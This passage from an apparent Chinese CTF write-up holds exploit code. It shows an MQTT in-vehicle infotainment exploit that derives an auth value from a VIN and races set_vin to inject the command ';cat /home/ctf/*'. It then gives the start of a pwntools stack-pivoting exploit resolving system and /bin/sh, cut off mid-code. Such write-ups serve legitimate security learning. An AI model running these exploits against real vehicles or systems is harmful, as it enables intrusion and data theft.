leaf=""><br/></span><span leaf="">        msg = {</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;auth&#34;</span></span><span leaf="">: auth, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;cmd&#34;</span></span><span leaf="">: cmd, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;arg&#34;</span></span><span leaf="">: arg}</span><span leaf=""><br/></span><span leaf="">        payload = json.dumps(msg)</span><span leaf=""><br/></span><span leaf="">        log.info(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;Publish: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{payload}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        self.client.publish(self.topic_cmd, payload, qos=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">wait_for_vin</span></span><span style="line-height: 26px;"><span leaf="">(self, timeout: int = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">25</span></span><span leaf="">)</span></span><span leaf=""> -&gt; str:</span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;&#34;等待心跳获取VIN&#34;&#34;&#34;</span></span><span leaf=""><br/></span><span leaf="">        log.info(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;Waiting for heartbeat to get VIN (up to </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{timeout}</span></span><span leaf="">s)...&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">not</span></span><span leaf=""> self.vin_event.wait(timeout=timeout):</span><span leaf=""><br/></span><span leaf="">            log.warning(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;No heartbeat received&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">            self.vin = input(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Enter VIN manually (or press Enter for &#39;test&#39;): &#34;</span></span><span leaf="">).strip() </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">or</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;test&#34;</span></span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;=&#34;</span></span><span leaf=""> * </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">50</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;[+] VIN: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{self.vin}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;=&#34;</span></span><span leaf=""> * </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">50</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> self.vin</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">test_connection</span></span><span style="line-height: 26px;"><span leaf="">(self, auth: str)</span></span><span leaf=""> -&gt; bool:</span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;&#34;测试连通性&#34;&#34;&#34;</span></span><span leaf=""><br/></span><span leaf="">        log.info(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Testing connection with get_version...&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        self.publish(auth, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;get_version&#34;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;0&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        time.sleep(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 检查是否收到响应</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> any(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;v&#34;</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> msg.lower() </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> topic, msg </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> self.messages </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> topic == self.topic_resp)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">race_attack</span></span><span style="line-height: 26px;"><span leaf="">(self, auth: str, evil_cmd: str, legit_vin: str = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;A&#34;</span></span><span leaf=""> * </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">17</span></span><span leaf="">)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;&#34;</span><span leaf=""><br/></span><span leaf="">        竞态条件攻击</span><span leaf=""><br/></span><span leaf="">        利用set_vin的TOCTOU漏洞进行命令注入</span><span leaf=""><br/></span><span leaf="">        &#34;&#34;&#34;</span></span><span leaf="">        log.info(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Starting race condition attack...&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 步骤1: 发送合法VIN通过校验，触发sleep(2)</span></span><span leaf=""><br/></span><span leaf="">        log.info(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;Sending legit set_vin: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{legit_vin}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        self.publish(auth, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;set_vin&#34;</span></span><span leaf="">, legit_vin)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 步骤2: 等待消息开始处理</span></span><span leaf=""><br/></span><span leaf="">        time.sleep(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0.3</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 步骤3: 在sleep(2)期间覆盖全局变量p_src</span></span><span leaf=""><br/></span><span leaf="">        log.info(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;Racing to overwrite with: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{evil_cmd}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> _ </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">20</span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">            self.publish(auth, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;set_vin&#34;</span></span><span leaf="">, evil_cmd)</span><span leaf=""><br/></span><span leaf="">            time.sleep(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0.05</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 步骤4: 等待命令执行结果</span></span><span leaf=""><br/></span><span leaf="">        log.info(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Waiting for result...&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        time.sleep(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">show_results</span></span><span style="line-height: 26px;"><span leaf="">(self)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;&#34;显示所有收到的消息&#34;&#34;&#34;</span></span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;\n&#34;</span></span><span leaf=""> + </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;=&#34;</span></span><span leaf=""> * </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">50</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;[*] Received messages:&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;=&#34;</span></span><span leaf=""> * </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">50</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> topic, msg </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> self.messages:</span><span leaf=""><br/></span><span leaf="">            print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;[</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{topic}</span></span><span leaf="">] </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{msg}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">parse_args</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;&#34;解析命令行参数&#34;&#34;&#34;</span></span><span leaf=""><br/></span><span leaf="">    parser = argparse.ArgumentParser(description=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;MQTT车载IVI漏洞利用&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    parser.add_argument(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;-H&#34;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;--host&#34;</span></span><span leaf="">, default=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;192.168.18.23&#34;</span></span><span leaf="">, help=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;目标IP&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    parser.add_argument(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;-p&#34;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;--port&#34;</span></span><span leaf="">, type=int, default=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">19999</span></span><span leaf="">, help=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;目标端口&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    parser.add_argument(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;-c&#34;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;--cmd&#34;</span></span><span leaf="">, default=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;;cat /home/ctf/*&#34;</span></span><span leaf="">, help=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;注入的命令&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    parser.add_argument(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;-v&#34;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;--vin&#34;</span></span><span leaf="">, default=</span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">None</span></span><span leaf="">, help=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;手动指定VIN (跳过等待心跳)&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> parser.parse_args()</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">main</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    args = parse_args()</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 创建exploit实例</span></span><span leaf=""><br/></span><span leaf="">    exp = MQTTExploit(args.host, args.port)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">try</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 连接</span></span><span leaf=""><br/></span><span leaf="">        exp.connect()</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 获取VIN</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> args.vin:</span><span leaf=""><br/></span><span leaf="">            exp.vin = args.vin</span><span leaf=""><br/></span><span leaf="">            print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;[+] Using provided VIN: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{exp.vin}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            exp.wait_for_vin()</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 计算auth</span></span><span leaf=""><br/></span><span leaf="">        auth = exp.calc_auth(exp.vin)</span><span leaf=""><br/></span><span leaf="">        log.success(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;Calculated auth: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{auth}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 测试连接</span></span><span leaf=""><br/></span><span leaf="">        exp.test_connection(auth)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 竞态攻击</span></span><span leaf=""><br/></span><span leaf="">        exp.race_attack(auth, args.cmd)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 显示结果</span></span><span leaf=""><br/></span><span leaf="">        exp.show_results()</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">finally</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">        exp.disconnect()</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> __name__ == </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;__main__&#34;</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">    main()</span><span leaf=""><br/></span></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.7344701583434835" data-type="png" data-w="821" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030126" src="https://wechat2rss.xlab.app/img-proxy/?k=5af8f31c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSIJEATW5gHm24hdvJoYjgFnKCmZmpmoGicVG5cYY5kxxyXAgvr7wRXlnYhiaj0kLmRAkvGROdgabAQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">pcb5-Pivoting</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">拿到libc_base但后续栈迁移scanf卡栈,原因在于栈过低，调高栈并处理栈平衡即可</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> pwn </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf="">*</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> struct </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> pack</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> ctypes</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""><a class="wx_topic_link" topic-id="mj5cymfy-zlgaok" style="color: #576B95 !important;" data-topic="1">#from</a> LibcSearcher import *</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> ae64 </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> AE64</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">bug</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">        gdb.attach(p)</span><span leaf=""><br/></span><span leaf="">        pause()</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">s</span></span><span style="line-height: 26px;"><span leaf="">(a)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">        p.send(a)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">sa</span></span><span style="line-height: 26px;"><span leaf="">(a,b)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">        p.sendafter(a,b)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">sl</span></span><span style="line-height: 26px;"><span leaf="">(a)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">        p.sendline(a)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">sla</span></span><span style="line-height: 26px;"><span leaf="">(a,b)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">        p.sendlineafter(a,b)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">r</span></span><span style="line-height: 26px;"><span leaf="">(a)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">        p.recv(a)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""><a class="wx_topic_link" topic-id="mj5cymfy-q8hau0" style="color: #576B95 !important;" data-topic="1">#def</a> pr(a):</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""><a class="wx_topic_link" topic-id="mj5cymfy-k4nbsm" style="color: #576B95 !important;" data-topic="1">#print</a>(p.recv(a))</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">rl</span></span><span style="line-height: 26px;"><span leaf="">(a)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> p.recvuntil(a)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">inter</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">        p.interactive()</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">get_addr</span></span><span style="line-height: 26px;"><span leaf="">(size)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> u64(p.recv(size).ljust(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">,</span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39;\x00&#39;</span></span><span leaf="">))</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">get_addr64</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> u64(p.recvuntil(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;\x7f&#34;</span></span><span leaf="">)[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-6</span></span><span leaf="">:].ljust(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">,</span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39;\x00&#39;</span></span><span leaf="">))</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">get_addr32</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> u32(p.recvuntil(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;\xf7&#34;</span></span><span leaf="">)[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-4</span></span><span leaf="">:])</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">get_sb</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> libc_base+libc.sym[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;system&#39;</span></span><span leaf="">],libc_base+libc.search(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#34;/bin/sh\x00&#34;</span></span><span leaf="">).__next__()</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">get_hook</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> libc_base+libc.sym[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;__malloc_hook&#39;</span></span><span leaf="">],libc_base+libc.sym[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;__free_hook&#39;</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">li = </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">lambda</span></span><span leaf=""> x : print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;\x1b[01;38;5;214m&#39;</span></span><span leaf=""> + x + </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;\x1b[0m&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">ll = </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">lambda</span></span><span leaf=""> x : print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;\x1b[01;38;5;1m&#39;</span></span><span leaf=""> + x + </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;\x1b[0m&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""><a class="wx_topic_link" topic-id="mj5cymfy-q0hr7j" style="color: #576B95 !important;" data-topic="1">#context</a>(os=&#39;linux&#39;,arch=&#39;i386&#39;,log_level=&#39;debug&#39;)   </span></span><span leaf=""><br/></span><span leaf="">context(os=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;linux&#39;</span></span><span leaf="">,arch=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;amd64&#39;</span></span><span leaf="">,log_level=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;debug&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">libc=ELF(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;./libc.so.6&#39;</span></span><span leaf="">)   </span><span leaf=""><br/></span><span leaf="">elf=ELF(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;./pwn&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""><a class="wx_topic_link" topic-id="mj5cymfy-lymw89" style="color: #576B95 !important;" data-topic="1">#p</a>=remote(&#39;&#39;,)</span></span><span leaf=""><br/></span><span leaf="">p = process(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;./pwn&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">exit</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">        rl(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;What can I do for you?\n&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        sl(str(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">))</span><span leaf=""><br/></span><span leaf="">        rl(</span><span style="color: 